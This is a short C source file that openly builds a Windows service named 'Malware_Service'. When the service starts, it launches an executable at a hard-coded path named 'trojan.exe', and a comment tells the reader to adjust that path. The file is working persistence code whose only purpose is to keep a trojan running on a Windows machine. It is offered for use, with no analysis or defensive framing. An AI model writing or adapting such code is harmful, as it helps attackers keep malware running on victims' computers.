#include <windows.h>

SERVICE_STATUS_HANDLE hStatus;
SERVICE_STATUS status;

void WINAPI Handler(DWORD ctrl) {
    if (ctrl == SERVICE_CONTROL_STOP) {
        status.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &status);
    }
}
void Run() {
STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    
    char cmd[] = "C:\\Users\\John\\Downloads\\trojan.exe"; //change it according to your location
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
}
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv) {
hStatus = RegisterServiceCtrlHandler("Malware_Service", Handler);

    status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    status.dwCurrentState = SERVICE_RUNNING;
    status.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    SetServiceStatus(hStatus, &status);
Run();
    while (status.dwCurrentState == SERVICE_RUNNING)
        Sleep(1000); // Do nothing
}

int main() {  
    SERVICE_TABLE_ENTRY table[] = {
        {"Malware_Service", ServiceMain},
        {NULL, NULL}
    };
    StartServiceCtrlDispatcher(table);
    return 0;
}